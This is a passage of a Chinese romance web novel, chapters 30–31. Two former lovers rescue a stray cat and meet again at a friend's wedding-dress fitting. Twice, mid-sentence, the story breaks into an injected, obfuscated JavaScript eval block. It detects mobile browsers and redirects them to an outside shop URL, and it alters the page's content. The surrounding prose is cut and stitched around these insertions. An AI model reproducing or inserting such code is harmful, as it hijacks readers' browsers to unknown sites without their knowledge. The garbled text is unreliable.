想学一门乐器的种子就在那一刻种下了。 后来她在网上刷到过一种论调,说很多人在二十几岁开始可以当自己的父母,重新把自己养一遍。 她报名了好几个兴趣班的试听课,和一帮小学生们一起听课,最后选定了吉他这一项相对来说好入门一些的乐器。 她静静看了一会儿架子上的琴谱,书房的窗户没有关合,风溜进来,琴谱的一角被吹起翻了页。 下一页的琴谱是一首流行乐曲的伴奏,歌词在琴谱下标注着。 「你能体谅我有雨天,偶尔胆怯你都了解,过去那些,大雨落下的瞬间,我突然发现……」 云诗加站起身,踮着脚把窗户关上了,突然几滴雨水啪嗒啪嗒打在窗沿上,不多时便大了起来,夏天充沛的雨水从天空降落,短暂的暴雨之后是一片宁静和潮湿。 从书房的窗户看出去,对面顶楼的北阳台的灯光下,模糊地印着一个人影,淋着屋檐上挂下来的残雨,脑袋朝下趴在栏杆上。 云诗加的心头一紧。 她匆忙拿起手机,拨打了电话。 阳台上的那个人站直了摸了摸口袋。 电话那头很快接起。 “喂。” 对面是清润的嗓音,伴着清晰的屋檐上挂下来的雨水声音,啼哩踏啦的,像黏稠的蜂蜜。 真打了过去,云诗加又不知道说什么了。 她抬手刮了刮窗户上的雾气,眯眼看清对面阳台栏杆下的检修平台上躲着一只水淋淋惨兮兮的橘黄色猫咪,想来他是在拯救它。 “你还好吗?”她停顿了一下说,“需要帮忙吗?我是说,救猫这件事。” 对面发出了一声亲昵的鼻音,含着笑意,他说:“好啊,正好……我手上的旧伤有些犯疼,下雨天,总是这样。” 30. 030 小洛小落 那只湿漉漉的橘猫被网兜捞了上来,费了许久功夫,两人在阳台上被屋檐上的雨水淋了个透。 进了屋子,橘猫从网兜里跳了出来,哆哆嗦嗦地甩了甩毛,把水甩得到处都是,然后大摇大摆地参观起了舒洛原的家。 云诗加失笑着接近橘猫:“你这只小猫,倒是不见外,也不知是怎么跳到检修平台上去的,要不是被我们……被发现了,估计都要没命了,你也不知道后怕。” 橘猫被她追了两步,逃到了桌子底下。 舒洛原从柜子里取了毛巾,扔给了云诗加,“擦擦,别感冒了。” 云诗加接住了毛巾,看见他刻意与自己隔开一张桌子的距离,她愣了一下,把毛巾罩在自己的头上。 舒洛原又取了一条毛巾,蹑手蹑脚地接近已经跳到书柜上的橘猫,突然用毛巾包住了小猫的身体然后将它抱了起来。 橘猫似乎知道他是救命恩人,没有呲牙咧嘴,也没有应激,反倒很配合地扭了扭尾巴,往舒洛原的手心蹭了蹭,一副自来熟的模样。 “看来小猫跟你很亲呢。”云诗加酸溜溜地讲。 “要抱一下吗?” 舒洛原托着毛巾包裹住的小猫,塞进了她的手里,云诗加小心翼翼地托着这团软绵绵的生命,盯着它圆溜溜的眼睛,心都快化了。 “小猫小猫你好可爱,要不给你取个名字吧?”她不自觉地夹着嗓子说。 舒洛原笑着看她:“好啊,你给它取个名字。” “要不叫小落吧?刚落过一场雨,就像雨一样落下来的小猫咪呢。” 云诗加抬眼看着舒洛原,眼里藏着没打算掩饰的促狭和狡黠。 舒洛原失笑:“小落?小洛?” 她是知道怎么嘲笑他的。 “嗯哼。” “那为什么不叫小雨呢?或者大雨也行。” 云诗加歪着头看他:“小雨多俗气呀。” 舒洛原拿她没办法:“行,那就叫小落吧。” 橘猫突然蹭了蹭云诗加的手指,“喵”了一声,似乎对这个名字很喜欢。 云诗加:“你看小落知道自己的新名字了!” 舒洛原点了点头:“很聪明。” 云诗加撸了一会儿猫,在手机上搜索了好几篇养猫的帖子看了半天,突然抬头忧心忡忡地说道:“你能养好它吗?哦不对,我应该问,你打算养它吗?今天淋了雨它会不会生病啊?” 舒洛原把吹风机拿了出来,坐到了沙发上。 “我没养过猫,但……我想任何事情都要有第一次,我可以尝试学一学。”他说,“今天有点晚了,明天我带它去宠物医院检查一下,在此之前,云诗加小姐,我想你更需要关注一下自己的健康,过来吹干头发。” 云诗加不免想到那条被他在她头上揉搓过的毛巾至今还晾在阳台上,她几次经过都视而不见,不想把它收下来。 于是她摇摇头:“不了,我回去吹干就行。” 舒洛原讷讷道:“行,那我送你。” “不用。” 云诗加利落地关门离去,等电梯的片刻,她下单买了一袋猫粮和一个猫爬架。 第二天,云诗加刚醒就收到了舒洛原的消息,并且消息还在不断更新中,消息框里接二连三地弹出一张又一张小猫的照片。 第一张是橘猫小落的起床照。 第二张是橘猫小落的坐车照。 第三张是小落和某人的自拍。 第四张是小猫在医生手里的检查照。 …… 云诗加往下翻了好几页才看完照片,如果他每天都这么拍下去的话,怕是不到一个月手机内存就要爆炸了。 至于两位Luo字辈的合照…… 云诗加点开放大品鉴了一番,舒洛原掌根到手臂的那道疤痕正好蜿蜒向上,变成橘猫身上花纹的延申。 云诗加如约赶到了涂玉棋发来的婚纱店地址,婚纱店在一座巨大的婚纱城里,云诗加兜兜转转了好久才找到那家店。 等她到达时,云诗加跟几位并不相识的伴娘打了个照面,互相交换了姓名。 这边涂玉棋已经选定了几套,正在试穿,巨大的隔帘一拉开,婚纱店的工作人员和伴娘们都给予了超带情绪价值的惊呼。 新郎高胜寒翘着二郎腿坐在休息室的沙发上,见状也站了起来,惊艳地看向他的新娘。 涂玉棋正在试的是一件抹胸款的婚纱,她对镜看了看,皱眉说,“好像有点显肩宽。” 云诗加迎上去,左右端详,说:“肩宽了显头小啊。” 涂玉棋仍在皱眉对镜,挑剔着不完美,“我胸小,抹胸款好像有些撑不起来。” “显瘦。”云诗加说。 涂玉棋对着她,摇摇头,又扫视了一圈她穿的T恤上被凸显出的立体印花图案:“我跟你换换就好了……” 云诗加的高情商发言只说了两句就告罄了,她总不能说自己胸大其实很苦恼,穿衣显胖没有时尚感,她适时闭嘴了,不然总有些臭显摆的味道。 工作人员拿了新郎的西装过来,高胜寒进了试衣帘。 涂玉棋拎着婚纱的超大裙摆,拉着云诗加去伴娘服的悬挂区选购她的衣服。 涂玉棋嘟囔说:“她们都挑完了,我的婚期比较火热,剩下的款式本来就不多,你也不早点来。” 云诗加双手合十,一脸投降状:“姐你饶了我吧,我好久没睡个整觉了,好不容易休息,我还想多活几年呢,而且我不挑,能穿就行。” 涂玉棋顺手拿起一件浅绿色的及地长裙,塞进她怀里,说:“我觉得这件配你,快去试试!” 云诗加拎着衣架看了看,“这件会不会有点隆重啊?都拖地了。” 涂玉棋叉腰:“怕什么,新娘我都没意见,听我的!” 另一位伴娘也附和:“我也选了拖地的长裙,紫色的。” “行吧。” 里头的大试衣间被新郎占用着,云诗加捧着衣架和长裙进了门口一排简易试衣间中的一间。 工作人员见她披散着头发,全身素净,还说可以帮忙去拿与这件长裙相配的绿色发饰,推荐她一起穿戴效果更好。 云诗加应了声好,拉上了布帘。 不多时,她听见布帘外一阵窸窸簌簌,有人进了隔壁间,料想是另一位伴娘还想试别的衣服。 正好她看不见长裙背后的构造,便低声求助:“欸,姐妹,帮帮忙,我后面的绑带好像和拉链卡住了。” 旁边那人静止了一会儿,似乎犹豫了一瞬,然后掀开了布帘,伸进来两只手,慢条斯理地解开团成乱麻的绑带,再一根一根地从衣服内部的洞口穿到外面,灼热的手指无意似的划过她光裸的背部,轻柔得让人发痒。 “谢谢啊,你觉得这件怎么样?我觉得还是有些太隆重了。” 云诗加微佝偻着背,方便操作,又觉得太安静了,试图跟这位不熟悉的伴娘找些话题聊,到婚礼时也好跟人搭伴,不然太尴尬。 对方沉默着,云诗加察觉到一丝诡异,侧过身抬眼,然后猝不及防从试衣镜侧面的镜子里与舒洛原对上了眼。 想到外面有这么多人在,云诗加有些紧张,低声问说:“你怎么在这儿?” 她立马直起身,正好舒洛原穿过了最后一个绑带孔,他松开手,两手一摊,“我是伴郎啊。” 云诗加警惕地问:“那你刚刚怎么不说是你。” 舒洛原没有回答她这个问题,反而回答了她刚才的疑问:“这件挺好看的,你穿绿色好看,不隆重,新娘好像喜欢一件重工婚纱,你站她旁边,估计整个人都还没她婚纱裙摆的一个褶子大呢。” 云诗加面对着他,板着脸没说话,唰地把布帘拉上,反手自力更生系蝴蝶结。 舒洛原站在布帘外,低垂着目光,看着下方瓷砖地面上有一道灰绿色的投影,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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涂玉棋眼睛一亮,把手机交给了他:“好啊,我俩好久没拍过合照了,正好工作人员不在,你帮我把婚纱全貌也拍下来,我也好等会儿跟另外几件对比一下。” 舒洛原拿手机换了几个角度咔嚓咔嚓多拍了几张,把手机还给了涂玉棋。 一个工作人员从仓库里又拿了另一件重工婚纱回来,跟涂玉棋钻进了大试衣间里又是一阵捣鼓。 伴娘们还没回来,云诗加只好扬起笑脸,化解刚才的紧绷,她问起:“小落呢?” 舒洛原说:“我送回家去了,放心,医生说没有问题,很健康,打了疫苗。” 云诗加盯着盖住脚面的裙摆,微微点头:“那就好,我给小落买了点猫粮什么的,填了你的地址。” 舒洛原顺着她的目光也看着她的裙摆,他的语调很轻:“嗯。” 涂玉棋从布帘后头伸出一个头来呼救:“加加,你进来帮我一下。” 非礼勿视,舒洛原连忙转过身去,往外面沙发上走了。 云诗加钻进帘子,发现涂玉棋已经换好了,重工婚纱的珠子和水晶在灯光下异常闪亮,布灵布灵的。 “你还是适合穿重工一点的,好闪好美丽!”云诗加傻了眼,赞叹道,又问:“需要我帮什么?” 涂玉棋拉着她的手窃窃私语:“没有要帮忙的,我就是把你拉进来要问你一个事情。” “什么事情?” “你和舒洛原……”涂玉棋喉咙里发出掩藏不住地咳咳坏笑,“不许骗我!那天同学聚会我就看出来了,后来王重他们几个抽烟回来还跟我们八卦来着,我一直想问你,却没逮到机会,你快老实交代!” “没有……”云诗加下意识否认。 “什么没有!”涂玉棋气得把婚纱上的珠子抖落得一阵脆响,“我刚刚都听见了!你都叫他小洛了!” 31. 031 男德 云诗加简直哑口无言。 “不是,小落是一只猫。”她说。 “猫?”涂玉棋的绑带被身后工作人员勒得太紧了,停下来喘了口气,又继续问:“你都跟他一起养猫了??” “不是不是,我们救了一只流浪猫。”云诗加摆手,上前跟工作人员帮忙,左右开弓,把涂玉棋的腰勒成细得一巴掌就能圈起来的程度。 “不行,我喘不上气了。” 涂玉棋捂着胸口,工作人员大发慈悲地将绑带松了一寸。 “呼……”涂玉棋停下来长长吸了一口气,“累死我了,试完这件我要休息会儿,你说怎么做新娘这么累呢?为什么男人就不用上这些累赘的道具?” 云诗加回答不上来,只好不说话。 涂玉棋倒是自己说了下去:“可能因为婚姻就是女人头昏吧,一个‘婚’字,足以说明了。” 云诗加笑了,问她:“那你头昏吗?” 涂玉棋让工作人员对镜拍了张照,然后开始脱去这件盔甲般沉重的婚纱,她笑了笑,说:“有点儿吧,但跟随大流也没什么不好的,体制内不结婚影响我升职,而且我挺喜欢小孩的,结婚主要是想生个孩子。” 云诗加难得与她交心:“你想得明白就好,结不结婚的纯是各人意愿和选择,不管怎么样,我祝福你今后依旧顺遂幸福。” 涂玉棋脱去了婚纱,赤身裸体地站在云诗加面前,也没扭捏,冲上来抱住她,在她肩上钝钝地点头说:“嗯!你也要幸福!” 云诗加说:“我还远着呢。” 涂玉棋推了她一把,手指着帘子外的方向说:“好好把握啊!” 云诗加摇头:“我工作都忙不过来,其他的事情先不想。” 涂玉棋换上了一件试衣睡袍,坐在了沙发上稍作休息,喝了口水,又问她:“我跟你讲,那天聚会,王重八卦说你跟舒洛原谈过,我帮你骂他了,纯属造谣!” 云诗加已经不是过去那个自卑低调的小女孩了,也没什么好隐瞒的,苦笑着坦白说:“我俩是谈过一段,他不算造谣。” 涂玉棋吃惊地下巴都快掉下来了:“啊?我还以为你俩只是最近有些暧昧呢?不是?我怎么不知道啊?你俩高中就谈上了?在我眼皮子底下?” 云诗加老实摇头:“不是,我们从高中毕业开始谈到大学毕业。” 涂玉棋直接跳了起来,捂着嘴巴才没让自己发出尖叫声:“你……你你你……好啊你!云诗加!闷声干大事啊!” 冷静下来她又问:“那怎么分了呢?” 云诗加想了想回答说:“说来话长,简单来说是家庭原因?” 涂玉棋知道她不喜欢说家里的事情,也不想探听她的隐私,便换了个方式问:“那这个原因如今还存在吗?” 云诗加愣了一会儿,不知道要怎么回答。 涂玉棋有些明白了,安慰道:“我跟我前男友也是,只是谈恋爱我俩就挺好的,但涉及到家庭,他就跟我走不下去了,只好分了,哎,青春啊……” 外面的新郎接了电话回来,听到厚重的布帘里头女孩们的窃窃私语,原不想听的,但从中精准捕捉到了某个关键词,高胜寒扬声说:“咳咳,什么前男友?我还在外面呢!” 涂玉棋吐了吐舌头,做了个噤声的手势,提高声音回应说:“我在说云诗加的前男友呢!说他长得帅!不复合可惜了!” 云诗加促狭地笑着,附和说:“嗯嗯对!” 休息了片刻,工作人员又拿来了一件中式晨袍,往涂玉棋身上套,涂玉棋哀叹了一声:“来吧!今天把我累晕了让老高把我抬回去!” 云诗加钻出了帘子,见休息室的沙发上并排坐着两个男人,高胜寒和舒洛原勾肩搭背的,尤其是高胜寒,脸上笑得很坏,见她出来了便及时住了嘴。 云诗加莫名其妙:“你俩说什么呢?” 高胜寒挑衅说:“怎么,许你俩聊聊前男友,不许我俩聊聊前女友吗?” 舒洛原忙站起身,双手投降状,对着云诗加表诚意:“加加,你可别听他瞎说,他有几任前女友我不知道,但我可是只谈过一个……” 高胜寒气结,怎么会有人把卖友求荣这件事当着面做!简直不知廉耻!不择手段! “我也没有啊!我很守男德的!”高胜寒连忙找补。 舒洛原瞟了他一眼:“好男人的朋友也是好男人,物以类聚人以群分,我们都是好男人。” 高胜寒简直要跳起来了:“喂!舒洛原,你是来当伴郎的还是来拆我台子的?拿我给你脸上贴金呢?” 舒洛原无辜地笑笑:“你已经抱得美人归了,应该已经不需要我助攻了吧?” 高胜寒一时竟然无法反驳,只好挥拳打了他一记。 舒洛原捂着胸口龇牙咧嘴:“你哪来的蛮劲!” 高胜寒摸了摸西装下的肱二头肌说:“我最近健身可不是白练的!为了这套定制西服的上身效果,我可是练了三个月了!老婆我是不是很努力!” 涂玉棋换好了中式晨袍,拉开帘子,嗔怪了他一句:“是,你很努力!怎么这都要我夸!” “老婆这件好美。” 高胜寒走上试衣台,低头亲吻了新娘,涂玉棋娇羞地轻推了他一把,说还有人呢。 云诗加和舒洛原对视了一眼,走出了休息室,还给他们把门关上了。 花了一下午把婚礼服装大体敲定了,新郎新娘提议请伴郎伴娘们一起吃个晚饭。 大家看出来新郎新娘都累得不行,面面相觑时,舒洛原推脱说家里还有小猫在等喂粮,打发新郎新娘早点回去休息,日后有的是时间再聚。 一群人在婚纱城里当场散了,舒洛原转头问身边的云诗加:“开车了吗?” “开了,”云诗加一脸警惕,难以置信:“你不会又没开车吧?手不是好了吗?” 舒洛原无辜耸肩:“昨天救猫好像又弄伤了。” 他摊开手掌,向她展露自己掌根的一个创可贴。 “……” “走吧。”她说。 夏日傍晚的烈阳从挡风玻璃上横射进来,照得两人的面颊都发亮。 云诗加眯起眼睛翻下了挡光板。 舒洛原的眼睛也眯了起来,眼睛里的虹膜在阳光下变得很淡,像一汪能被看穿的浅浅湖水。 他问起:“绿木的项目怎么样了?” 云诗加说:“挺好的,施工图纸的最终稿已经提交过去了。” 他又问:“澈园呢?许久没见你去了。” 她嗯了一声:“明天去。” 他说:“明天我也在那儿,要不早上我们一起从家里过去?” 路口红灯,她踩了刹车,斜眼看了他一眼,深觉他是故意把话说的这么暧昧不清:“什么意思?” 舒洛原又很无辜的样子:“我手疼,不想开车,你就当可怜可怜我。” 云诗加没说话。 舒洛原又补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413388|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一句:“我在后门下车,没人看见。” 云诗加依旧沉默。 他又说:“你怕他知道?” 云诗加的眼皮跳了一下,绿灯了,她松开刹车,说:“没有。” 舒洛原皱着眉问:“他对你好吗?” 云诗加憋了一口气,或许是刚刚试衣间的那股子暧昧气氛仍旧在她周身缠绕,或许是看涂玉棋穿上了婚纱嫁衣让她心中对青春有了那么些说不清的感慨,她突然泄了气,想说个明白。 “我和他之间其实……” “不,”舒洛原突然插话打断了她的坦白,他说:“你不必告诉我,我……我想我……我不需要知道。” 他突然起了结巴,打开了副驾驶的窗户,暖风从窗户里吹进来,他额前的碎发一下变得凌乱。 云诗加见他这个样子,她突然释然了,那些年她觉得低落的瞬间被这一刻填补上了难言的缺口。 她觉得他的心思过于明显,让她起了坏心:“哦,你不想知道就算了。” 到了停车场,云诗加锁了车,甩着车钥匙去往自己的单元门电梯。 舒洛原站在原地,碎发遮住了他的眉眼,他叫住了她:“加加,你要不要去看看小落?” 云诗加转过头,看着他的样子,她动了动嘴唇,竟无法说拒绝。 “小落应该想你了。”他怕她不同意似的,又加了一句。 “好啊。” 舒洛原的门口堆了几个快递,她昨日买的猫粮竟这么快就到了。 他开门让她先进去,自己蹲在门口拆快递。 小落听到了异响,躲在了阳台的洗衣机后头,云诗加转了两圈都没找到。 最后还是舒洛原拆完了快递,从洗衣机后头一把捞出了小落,塞到了她手里。 “你怎么知道她藏在这里?”云诗加惊喜地问。 “网上搜搜就知道了,猫就喜欢这种闭塞的地方,很多人以为猫不见了是跑出去了,其实就在马桶后面。” 云诗加抱着小落又软又暖的身体,轻轻触了一下它毛茸茸的头顶,猫尾巴在她的手臂上轻轻扫过,它的喉咙口发出呼噜呼噜的一阵响动。 “这是什么意思?”她忙抬头问正在猫砂盆旁铲屎的男人,他半跪着,翘着臀,像是她雇佣上门来的男保姆。 舒洛原一手握着铲子,一手捏着鼻子,抬头说:“这是喜欢你呢。” “哦……”云诗加高兴地笑了,又摸了几下小落的头顶,指尖摩挲,小猫又呼噜了几声,给予了按摩技师五星好评。 舒洛原将装了废弃猫砂的垃圾袋扔到了外面,给她倒了杯水,问她:“你喜欢小落吗?” 云诗加不假思索:“喜欢啊。” 说完她突然觉得有歧义,抬眼望他,瞪了一眼,补充说:“这么可爱的小猫,我怎么会不喜欢呢?” “那你喜欢它,是因为它长得可爱,还是因为它性格好,还是因为它也喜欢你呢?”他低头看着她。 云诗加从他的话里品出了什么,便只答说:“对一只小猫,喜欢还要有理由吗?” “那对人呢?” 舒洛原几乎是迫不及待地说出这句话。 他突然往前进,云诗加不自觉地往后退,后腰抵在了餐桌上,大理石的冰凉触感透过单薄的衣物传递到她的皮肤。 面对他的目光灼灼,云诗加几乎是带着挑衅地说:“对人,也是一样的,喜欢就是喜欢,不喜欢就是不喜欢。”